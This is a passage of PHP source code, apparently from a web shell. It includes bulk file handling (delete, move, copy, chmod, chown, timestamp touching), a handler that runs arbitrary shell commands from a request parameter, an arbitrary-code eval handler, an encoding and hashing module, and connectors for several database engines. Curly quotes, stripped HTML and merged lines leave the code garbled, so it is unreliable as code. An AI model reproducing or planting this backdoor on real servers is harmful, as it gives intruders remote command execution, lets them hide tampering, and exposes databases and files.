if(($massType==’tar’)||($massType==’targz’)||($massType==’zip’)){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType==’delete’){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType==’cut’){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
touch($dest, $preserveTimestamp);
}
}
elseif($massType==’copy’){
$dest = $massPath.basename($path);
if(is_dir($path)){
if(copys($path, $dest)>0) $counter++;
}
elseif(is_file($path)){
if(copy($path, $dest)) $counter++;
}
}
elseif(($massType==’untar’)||($massType==’untargz’)||($massType==’unzip’)){
if(decompress($massType, $path, $massValue)){
$counter++;
return $counter;
}
}
elseif(!empty($massValue)){
if($massType==’chmod’){
if(chmod($path, octdec($massValue))) $counter++;
}
elseif($massType==’chown’){
if(chown($path, $massValue)) $counter++;
}
elseif($massType==’touch’){
if(touch($path, strtotime($massValue))) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
output(‘error’);
}
elseif(isset($p[‘viewFileorFolder’])){
$entry = $p[‘viewFileorFolder’];
if(is_file($entry)) output(‘file’);
elseif(is_dir($entry)) output(‘folder’);
output(‘error’);
}
elseif(isset($p[‘terminalInput’])){
output(html_safe(execute($p[‘terminalInput’])));
}
elseif(isset($p[‘evalInput’]) && isset($p[‘evalType’])){
$evalInput = $p[‘evalInput’];
$evalOptions = (isset($p[‘evalOptions’]))? $p[‘evalOptions’]:””;
$evalArguments = (isset($p[‘evalArguments’]))? $p[‘evalArguments’]:””;
$evalType = $p[‘evalType’];

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set(‘html_errors’,’0′);
@ini_set(‘display_errors’,’1′);
@ini_set(‘display_startup_errors’,’1′);

$res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
if($res===false) $res == “error”;
output(html_safe($res));
}
elseif(isset($p[‘evalGetSupported’])){
$res = eval_get_supported();
output($res);
}
$GLOBALS[‘module’][‘convert’][‘id’] = “convert”;
$GLOBALS[‘module’][‘convert’][‘title’] = “Convert”;
$GLOBALS[‘module’][‘convert’][‘js_ontabselected’] = ”
if((!portableMode) && ($(‘#decodeResult’).children().length==1)) $(‘#decodeStr’).focus();”;
$GLOBALS[‘module’][‘convert’][‘content’] = ”

Convert

convert
You can also press ctrl+enter to submit

“;

if(!function_exists(‘decode’)){
function decode($str){
$res = “”;
$length = (int) strlen($str);

$res .= decode_line(“md5”, md5($str), “input”);
$res .= decode_line(“sha1”, sha1($str), “input”);

$res .= decode_line(“base64 encode”, base64_encode($str), “textarea”);
$res .= decode_line(“base64 decode”, base64_decode($str), “textarea”);

$res .= decode_line(“hex to string”, @pack(“H*” , $str), “textarea”);
$res .= decode_line(“string to hex”, bin2hex($str), “textarea”);

$ascii = “”;
for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists('hash_algos')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo=='md5')||($algo=='sha1')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; } } if(!function_exists('decode_line')){ function decode_line($type, $result, $inputtype){ $res = " “.$type.” “;
if($inputtype==’input’){
$res .= ““;
}
else{
$res .= ““;
}
return $res;
}
}

if(isset($p[‘decodeStr’])){
$decodeStr = $p[‘decodeStr’];
output(decode($decodeStr));
}
$GLOBALS[‘module’][‘database’][‘id’] = “database”;
$GLOBALS[‘module’][‘database’][‘title’] = “Database”;
$GLOBALS[‘module’][‘database’][‘js_ontabselected’] = “”;
$GLOBALS[‘module’][‘database’][‘content’] = ”

Connect

Host
Username
Password
Port (Optional)
connect

“;

if(!function_exists(‘sql_connect’)){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == ‘mysql’){
if(class_exists(‘mysqli’)) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists(‘mysql_connect’)) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == ‘mssql’){
if(function_exists(‘sqlsrv_connect’)){
$coninfo = array(“UID”=>$sqluser, “PWD”=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists(‘mssql_connect’)) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == ‘pgsql’){
$hosts = explode(“:”, $sqlhost);
if(count($hosts)==2){
$host_str = “host=”.$hosts[0].” port=”.$hosts[1];
}
else $host_str = “host=”.$sqlhost;
if(function_exists(‘pg_connect’)) return @pg_connect(“$host_str user=$sqluser password=$sqlpass”);
}
elseif($sqltype == ‘oracle’){ if(function_exists(‘oci_connect’)) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == ‘sqlite3’){
if(class_exists(‘SQLite3’)) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == ‘sqlite’){ if(function_exists(‘sqlite_open’)) return @sqlite_open($sqlhost); }
elseif($sqltype == ‘odbc’){ if